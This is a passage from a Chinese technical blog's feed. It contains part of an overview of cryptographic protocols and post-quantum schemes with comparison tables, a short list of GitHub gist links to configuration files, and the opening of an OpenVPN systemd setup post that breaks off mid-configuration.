&lt;tr&gt;&lt;td&gt;典型应用&lt;&#x2F;td&gt;&lt;td&gt;传统VPN&lt;&#x2F;td&gt;&lt;td&gt;TLS 1.3, Signal&lt;&#x2F;td&gt;&lt;td&gt;后量子TLS (实验)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;安全等级&lt;&#x2F;td&gt;&lt;td&gt;128位 (3072位参数)&lt;&#x2F;td&gt;&lt;td&gt;128位&lt;&#x2F;td&gt;&lt;td&gt;128-256位&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;san-mi-ma-xue-xie-yi&quot;&gt;三、密码学协议&lt;&#x2F;h2&gt;
&lt;p&gt;密码学协议整合了各种密码学原语（如加密、签名、密钥交换）来实现特定的安全目标。这些协议是现代安全通信和数据交换的基础。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-tls-1-3-chuan-shu-ceng-an-quan-xie-yi&quot;&gt;3.1 TLS 1.3：传输层安全协议&lt;&#x2F;h3&gt;
&lt;p&gt;TLS (Transport Layer Security) 1.3是互联网安全通信的基石，于2018年标准化，替代了旧版本TLS和过时的SSL协议。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;核心创新&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;简化握手：将加密协商减少到1-RTT（往返时间）&lt;&#x2F;li&gt;
&lt;li&gt;0-RTT恢复：允许客户端在首个消息中发送加密数据&lt;&#x2F;li&gt;
&lt;li&gt;前向安全性：即使长期密钥泄露，过去会话仍受保护&lt;&#x2F;li&gt;
&lt;li&gt;删除了不安全的算法：如RC4、DES、3DES、SHA-1等&lt;&#x2F;li&gt;
&lt;li&gt;强制加密所有握手消息：增强隐私保护&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;技术细节&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;密钥导出：使用HKDF（基于HMAC的密钥派生函数）&lt;&#x2F;li&gt;
&lt;li&gt;握手过程：客户端Hello → 服务器Hello+加密扩展+证书+完成 → 客户端完成&lt;&#x2F;li&gt;
&lt;li&gt;加密套件：采用AEAD（认证加密与关联数据）如AES-GCM和ChaCha20-Poly1305&lt;&#x2F;li&gt;
&lt;li&gt;支持PSK（预共享密钥）和票据机制实现会话恢复&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS网页加密&lt;&#x2F;li&gt;
&lt;li&gt;API安全通信&lt;&#x2F;li&gt;
&lt;li&gt;企业级VPN解决方案&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现工具&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSL 1.1.1+&lt;&#x2F;li&gt;
&lt;li&gt;GnuTLS 3.6.3+&lt;&#x2F;li&gt;
&lt;li&gt;wolfSSL 4.0+&lt;&#x2F;li&gt;
&lt;li&gt;BoringSSL（Google维护）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-signalxie-yi-duan-dao-duan-jia-mi-tong-xin&quot;&gt;3.2 Signal协议：端到端加密通信&lt;&#x2F;h3&gt;
&lt;p&gt;Signal协议是现代端到端加密即时通信的黄金标准，由Open Whisper Systems开发，提供了一系列强大的安全属性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键特性&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;前向安全性：即使私钥泄露，过去的通信仍然安全&lt;&#x2F;li&gt;
&lt;li&gt;后向安全性（又称&quot;未来安全性&quot;）：即使当前密钥泄露，未来通信仍然安全&lt;&#x2F;li&gt;
&lt;li&gt;抵抗重放、中间人和会话操纵攻击&lt;&#x2F;li&gt;
&lt;li&gt;隐藏元数据：最小化敏感通信模式泄露&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;技术组件&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;X3DH（扩展三重DH）：初始密钥协商&lt;&#x2F;li&gt;
&lt;li&gt;Double Ratchet算法：持续更新密钥&lt;&#x2F;li&gt;
&lt;li&gt;预共享密钥：抵抗未来量子计算攻击&lt;&#x2F;li&gt;
&lt;li&gt;AEAD加密：确保消息机密性和完整性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;工作流程&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;注册：用户生成身份密钥对、签名预密钥和一批一次性预密钥&lt;&#x2F;li&gt;
&lt;li&gt;初始协商：使用X3DH建立初始共享密钥&lt;&#x2F;li&gt;
&lt;li&gt;会话维护：通过Double Ratchet算法定期更新密钥&lt;&#x2F;li&gt;
&lt;li&gt;消息传递：使用派生密钥加密消息，确保安全属性&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;应用产品&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Signal Messenger&lt;&#x2F;li&gt;
&lt;li&gt;WhatsApp&lt;&#x2F;li&gt;
&lt;li&gt;Facebook Messenger私密对话&lt;&#x2F;li&gt;
&lt;li&gt;Google Messages的RCS加密&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现库&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;libsignal（多平台实现）&lt;&#x2F;li&gt;
&lt;li&gt;Signal Protocol Java库&lt;&#x2F;li&gt;
&lt;li&gt;Signal Protocol JavaScript库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-3-ikev2-hu-lian-wang-mi-yao-jiao-huan-xie-yi&quot;&gt;3.3 IKEv2：互联网密钥交换协议&lt;&#x2F;h3&gt;
&lt;p&gt;IKEv2 (Internet Key Exchange version 2) 是IPsec VPN的关键组件，负责认证VPN对等体并建立安全关联(SA)。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;协议功能&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;相互认证：确保连接双方身份&lt;&#x2F;li&gt;
&lt;li&gt;密钥协商：安全生成共享密钥&lt;&#x2F;li&gt;
&lt;li&gt;建立安全关联：定义IPsec通信参数&lt;&#x2F;li&gt;
&lt;li&gt;支持NAT穿越：解决网络地址转换问题&lt;&#x2F;li&gt;
&lt;li&gt;快速恢复：提高移动设备连接可靠性&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;技术细节&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;消息交换格式：请求&#x2F;响应对，简化错误处理&lt;&#x2F;li&gt;
&lt;li&gt;认证方法：预共享密钥、数字证书、EAP&lt;&#x2F;li&gt;
&lt;li&gt;DH密钥交换：支持多种组，包括椭圆曲线选项&lt;&#x2F;li&gt;
&lt;li&gt;生存检测：快速检测失效连接&lt;&#x2F;li&gt;
&lt;li&gt;密钥材料生成：使用PRF（伪随机函数）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;站点到站点VPN&lt;&#x2F;li&gt;
&lt;li&gt;远程访问VPN&lt;&#x2F;li&gt;
&lt;li&gt;移动VPN连接（特别适合切换网络）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;主要实现&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;strongSwan（开源IKEv2实现）&lt;&#x2F;li&gt;
&lt;li&gt;Cisco IOS&#x2F;IOS-XE&lt;&#x2F;li&gt;
&lt;li&gt;Windows 10&#x2F;11内置VPN客户端&lt;&#x2F;li&gt;
&lt;li&gt;iOS&#x2F;macOS内置VPN客户端&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-4-mi-ma-xue-xie-yi-dui-bi&quot;&gt;3.4 密码学协议对比&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;TLS 1.3&lt;&#x2F;th&gt;&lt;th&gt;Signal协议&lt;&#x2F;th&gt;&lt;th&gt;IKEv2&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;主要用途&lt;&#x2F;td&gt;&lt;td&gt;Web安全、API通信&lt;&#x2F;td&gt;&lt;td&gt;即时消息加密&lt;&#x2F;td&gt;&lt;td&gt;VPN隧道建立&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;握手往返次数&lt;&#x2F;td&gt;&lt;td&gt;1-RTT (0-RTT恢复)&lt;&#x2F;td&gt;&lt;td&gt;异步&#x2F;非交互式&lt;&#x2F;td&gt;&lt;td&gt;2-RTT&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;前向安全性&lt;&#x2F;td&gt;&lt;td&gt;支持&lt;&#x2F;td&gt;&lt;td&gt;强支持(每消息)&lt;&#x2F;td&gt;&lt;td&gt;支持(可选)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;后向安全性&lt;&#x2F;td&gt;&lt;td&gt;不支持&lt;&#x2F;td&gt;&lt;td&gt;支持&lt;&#x2F;td&gt;&lt;td&gt;不支持&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;认证方法&lt;&#x2F;td&gt;&lt;td&gt;证书、PSK&lt;&#x2F;td&gt;&lt;td&gt;身份密钥+指纹验证&lt;&#x2F;td&gt;&lt;td&gt;PSK、证书、EAP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;密钥协商&lt;&#x2F;td&gt;&lt;td&gt;(EC)DHE&lt;&#x2F;td&gt;&lt;td&gt;X3DH+Double Ratchet&lt;&#x2F;td&gt;&lt;td&gt;(EC)DHE&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;协议复杂度&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;故障恢复能力&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;强&lt;&#x2F;td&gt;&lt;td&gt;强&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;部署普及度&lt;&#x2F;td&gt;&lt;td&gt;极高&lt;&#x2F;td&gt;&lt;td&gt;高(即时通讯)&lt;&#x2F;td&gt;&lt;td&gt;高(企业VPN)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;标准化&lt;&#x2F;td&gt;&lt;td&gt;IETF RFC 8446&lt;&#x2F;td&gt;&lt;td&gt;开放规范&lt;&#x2F;td&gt;&lt;td&gt;IETF RFC 7296&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;si-hou-liang-zi-mi-ma-xue&quot;&gt;四、后量子密码学&lt;&#x2F;h2&gt;
&lt;p&gt;后量子密码学(PQC)是为了应对量子计算威胁而发展的新型密码学分支。量子计算机一旦实用化，将能通过Shor算法快速破解RSA、ECC等传统密码系统。后量子密码学提供了能够抵抗量子计算攻击的替代方案。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-ji-yu-ge-de-mi-ma-xue&quot;&gt;4.1 基于格的密码学&lt;&#x2F;h3&gt;
&lt;p&gt;格密码学是后量子密码学中最成熟、应用最广泛的分支，基于格中的硬问题。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;NTRU&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;NTRU是最早的实用格基加密系统之一，基于多项式环中的格问题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;技术原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用两个小系数多项式作为私钥&lt;&#x2F;li&gt;
&lt;li&gt;公钥是这两个多项式的商在特定环中的表示&lt;&#x2F;li&gt;
&lt;li&gt;加密通过与随机多项式的组合实现&lt;&#x2F;li&gt;
&lt;li&gt;解密使用私钥多项式执行逆运算&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;高效实现：比RSA和ECC快数倍&lt;&#x2F;li&gt;
&lt;li&gt;专利过期：可自由使用&lt;&#x2F;li&gt;
&lt;li&gt;长期安全研究：自1996年提出以来持续研究&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;长期数据加密&lt;&#x2F;li&gt;
&lt;li&gt;嵌入式系统加密&lt;&#x2F;li&gt;
&lt;li&gt;物联网安全通信&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现工具&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;NTRU Open Source Project&lt;&#x2F;li&gt;
&lt;li&gt;OpenQuantumSafe库&lt;&#x2F;li&gt;
&lt;li&gt;Bouncy Castle新版&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;CRYSTALS-Kyber&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Kyber是NIST后量子密码标准化过程中的获胜者，采用模块化学习带错误(MLWE)问题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;技术特点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;模块化设计：更高效的实现和验证&lt;&#x2F;li&gt;
&lt;li&gt;可调参数集：根据安全需求和性能平衡&lt;&#x2F;li&gt;
&lt;li&gt;CCA2安全：抵抗自适应选择明文攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;应用前景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;成为后量子TLS的标准KEM&lt;&#x2F;li&gt;
&lt;li&gt;替代现有密钥协商协议&lt;&#x2F;li&gt;
&lt;li&gt;用于混合加密方案&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现状态&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;正在集成到主流密码库&lt;&#x2F;li&gt;
&lt;li&gt;多语言实现可用&lt;&#x2F;li&gt;
&lt;li&gt;TLS和SSH的实验性支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-2-ji-yu-ha-xi-de-mi-ma-xue-sphincs&quot;&gt;4.2 基于哈希的密码学：SPHINCS+&lt;&#x2F;h3&gt;
&lt;p&gt;SPHINCS+是一种无状态哈希基签名方案，仅依赖哈希函数的安全性，不需要额外的密码学假设。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键技术&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;超树结构：使用多层默克尔树&lt;&#x2F;li&gt;
&lt;li&gt;少量签名：减少签名大小和生成时间&lt;&#x2F;li&gt;
&lt;li&gt;FORS（Forest of Random Subsets）：提高安全性和效率&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;优缺点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优点：保守安全假设，仅依赖哈希函数&lt;&#x2F;li&gt;
&lt;li&gt;缺点：大签名尺寸（约30KB）和较慢的签名生成&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;固件验证&lt;&#x2F;li&gt;
&lt;li&gt;软件发布签名&lt;&#x2F;li&gt;
&lt;li&gt;长期证书&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现工具&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SPHINCS+参考实现&lt;&#x2F;li&gt;
&lt;li&gt;PQClean项目&lt;&#x2F;li&gt;
&lt;li&gt;Open Quantum Safe框架&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-3-ji-yu-duo-bian-liang-duo-xiang-shi-de-mi-ma-xue-rainbow&quot;&gt;4.3 基于多变量多项式的密码学：Rainbow&lt;&#x2F;h3&gt;
&lt;p&gt;Rainbow是一种多变量公钥密码系统，基于多变量二次方程组求解的困难性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;技术细节&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;油和醋结构：特殊结构使签名生成高效&lt;&#x2F;li&gt;
&lt;li&gt;多层设计：平衡安全性和效率&lt;&#x2F;li&gt;
&lt;li&gt;小签名尺寸：相比其他后量子方案优势明显&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;安全状态&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;注意：2022年被发现存在安全问题&lt;&#x2F;li&gt;
&lt;li&gt;不再被推荐用于生产环境&lt;&#x2F;li&gt;
&lt;li&gt;研究继续改进下一代方案&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;研究价值&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;多变量密码学仍是重要研究方向&lt;&#x2F;li&gt;
&lt;li&gt;为未来抗量子签名提供思路&lt;&#x2F;li&gt;
&lt;li&gt;合适参数集可能恢复安全性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-4-ji-yu-chao-tuo-yuan-qu-xian-tong-yuan-xi-tong-de-mi-ma-xue-sike&quot;&gt;4.4 基于超椭圆曲线同源系统的密码学：SIKE&lt;&#x2F;h3&gt;
&lt;p&gt;SIKE (Supersingular Isogeny Key Encapsulation) 基于超奇异椭圆曲线同源图的计算困难性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;原理概述&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用超奇异椭圆曲线的同源映射&lt;&#x2F;li&gt;
&lt;li&gt;公钥是曲线变换的结果&lt;&#x2F;li&gt;
&lt;li&gt;私钥是产生特定同源的整数&lt;&#x2F;li&gt;
&lt;li&gt;共享秘密通过计算特殊曲线上的j-不变量获得&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;技术特点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;最紧凑的后量子方案：密钥和密文尺寸小&lt;&#x2F;li&gt;
&lt;li&gt;基于传统椭圆曲线操作：可利用现有硬件加速&lt;&#x2F;li&gt;
&lt;li&gt;计算密集型：操作复杂且计算量大&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;安全状态&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;注意：2022年被Castryck-Decru攻击破解&lt;&#x2F;li&gt;
&lt;li&gt;已退出NIST标准化流程&lt;&#x2F;li&gt;
&lt;li&gt;研究团队正开发改进版本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;研究意义&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;同源密码学仍是活跃研究领域&lt;&#x2F;li&gt;
&lt;li&gt;为紧凑型后量子方案提供思路&lt;&#x2F;li&gt;
&lt;li&gt;改进版本可能修复当前缺陷&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-5-hou-liang-zi-mi-ma-xue-fang-an-dui-bi&quot;&gt;4.5 后量子密码学方案对比&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;NTRU&lt;&#x2F;th&gt;&lt;th&gt;CRYSTALS-Kyber&lt;&#x2F;th&gt;&lt;th&gt;SPHINCS+&lt;&#x2F;th&gt;&lt;th&gt;Rainbow&lt;&#x2F;th&gt;&lt;th&gt;SIKE&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;密码类型&lt;&#x2F;td&gt;&lt;td&gt;加密&#x2F;KEM&lt;&#x2F;td&gt;&lt;td&gt;KEM&lt;&#x2F;td&gt;&lt;td&gt;签名&lt;&#x2F;td&gt;&lt;td&gt;签名&lt;&#x2F;td&gt;&lt;td&gt;KEM&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数学基础&lt;&#x2F;td&gt;&lt;td&gt;格问题&lt;&#x2F;td&gt;&lt;td&gt;模块化格问题&lt;&#x2F;td&gt;&lt;td&gt;哈希函数&lt;&#x2F;td&gt;&lt;td&gt;多变量方程&lt;&#x2F;td&gt;&lt;td&gt;同源图&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;公钥大小&lt;&#x2F;td&gt;&lt;td&gt;699-1230字节&lt;&#x2F;td&gt;&lt;td&gt;800-1568字节&lt;&#x2F;td&gt;&lt;td&gt;32-64字节&lt;&#x2F;td&gt;&lt;td&gt;~60KB&lt;&#x2F;td&gt;&lt;td&gt;~330字节&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;密文&#x2F;签名大小&lt;&#x2F;td&gt;&lt;td&gt;699-1230字节&lt;&#x2F;td&gt;&lt;td&gt;768-1568字节&lt;&#x2F;td&gt;&lt;td&gt;~17-50KB&lt;&#x2F;td&gt;&lt;td&gt;~33字节&lt;&#x2F;td&gt;&lt;td&gt;~330字节&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;运算速度&lt;&#x2F;td&gt;&lt;td&gt;快&lt;&#x2F;td&gt;&lt;td&gt;快&lt;&#x2F;td&gt;&lt;td&gt;慢&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;非常慢&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;标准化状态&lt;&#x2F;td&gt;&lt;td&gt;备选&lt;&#x2F;td&gt;&lt;td&gt;NIST第一轮选定&lt;&#x2F;td&gt;&lt;td&gt;NIST第一轮选定&lt;&#x2F;td&gt;&lt;td&gt;已淘汰&lt;&#x2F;td&gt;&lt;td&gt;已淘汰&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;安全状态&lt;&#x2F;td&gt;&lt;td&gt;安全&lt;&#x2F;td&gt;&lt;td&gt;安全&lt;&#x2F;td&gt;&lt;td&gt;安全&lt;&#x2F;td&gt;&lt;td&gt;已攻破&lt;&#x2F;td&gt;&lt;td&gt;已攻破&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;实现成熟度&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;中高&lt;&#x2F;td&gt;&lt;td&gt;中&lt;&#x2F;td&gt;&lt;td&gt;中&lt;&#x2F;td&gt;&lt;td&gt;中&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;主要优势&lt;&#x2F;td&gt;&lt;td&gt;长期研究&lt;&#x2F;td&gt;&lt;td&gt;效率与安全平衡&lt;&#x2F;td&gt;&lt;td&gt;保守安全假设&lt;&#x2F;td&gt;&lt;td&gt;小签名尺寸&lt;&#x2F;td&gt;&lt;td&gt;小密钥尺寸&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;主要劣势&lt;&#x2F;td&gt;&lt;td&gt;参数选择复杂&lt;&#x2F;td&gt;&lt;td&gt;相对新&lt;&#x2F;td&gt;&lt;td&gt;大签名尺寸&lt;&#x2F;td&gt;&lt;td&gt;安全问题&lt;&#x2F;td&gt;&lt;td&gt;已被攻破&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gist使用</title>
        <published>2025-10-26T10:42:58+08:00</published>
        <updated>2025-11-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/gist使用/"/>
        <id>https://vercel.juzhong.asia/2025/10/gist使用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/gist使用/">&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;https:&amp;#x2F;&amp;#x2F;gist.githubusercontent.com&amp;#x2F;peter&amp;#x2F;0d54d265365eea6cc485eff0e27a6095&amp;#x2F;raw&amp;#x2F;306d43e59dda68c9bbda73568bc35938afec147b&amp;#x2F;file.txt
https:&amp;#x2F;&amp;#x2F;gist.githubusercontent.com&amp;#x2F;peter&amp;#x2F;4ebf871274bd089d8c4b8af375628f36&amp;#x2F;raw&amp;#x2F;b8f2bb5646f257fca28b1203c8ecd8e26ccffc3c&amp;#x2F;box.txt
https:&amp;#x2F;&amp;#x2F;gist.githubusercontent.com&amp;#x2F;peter&amp;#x2F;1fec0a47ca8e5288046d3a6eb2203b80&amp;#x2F;raw&amp;#x2F;caf1ae6e96feb5459c8bc662d853198e4660bc2f&amp;#x2F;ray.txt

https:&amp;#x2F;&amp;#x2F;gist.githubusercontent.com&amp;#x2F;peter&amp;#x2F;1fec0a47ca8e5288046d3a6eb2203b80&amp;#x2F;raw&amp;#x2F;3ed0e0085da9f8cf8194eec13f5db440fbbf471f&amp;#x2F;ray.txt#upgradeCDN
https:&amp;#x2F;&amp;#x2F;gist.githubusercontent.com&amp;#x2F;peter&amp;#x2F;4ebf871274bd089d8c4b8af375628f36&amp;#x2F;raw&amp;#x2F;1215bf211050906ef59bda09bcf798656105fd67&amp;#x2F;box.txt#fixSNI

https:&amp;#x2F;&amp;#x2F;gist.githubusercontent.com&amp;#x2F;peter&amp;#x2F;84d2840ea060606c25b8c37faace7c68&amp;#x2F;raw&amp;#x2F;9224a25c124dc9636165ee8bf07ad3a76e97c134&amp;#x2F;box-systemd-nspawn.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>openvpn 配置</title>
        <published>2025-10-26T10:30:40+08:00</published>
        <updated>2026-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/openvpn 配置/"/>
        <id>https://vercel.juzhong.asia/2025/10/openvpn 配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/openvpn 配置/">&lt;h1 id=&quot;an-zhuang-he-pei-zhi&quot;&gt;安装和配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install openvpn
# 覆盖默认配置， 探测192.168.2.1可达
sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;openvpn-client@work.service &amp;lt;&amp;lt;EOF
[Unit]
Description=OpenVPN tunnel for %I after IP 192.168.2.1 to be reachable
After=network-online.target
Wants=network-online.target
[Service]
Type=notify
PrivateTmp=true
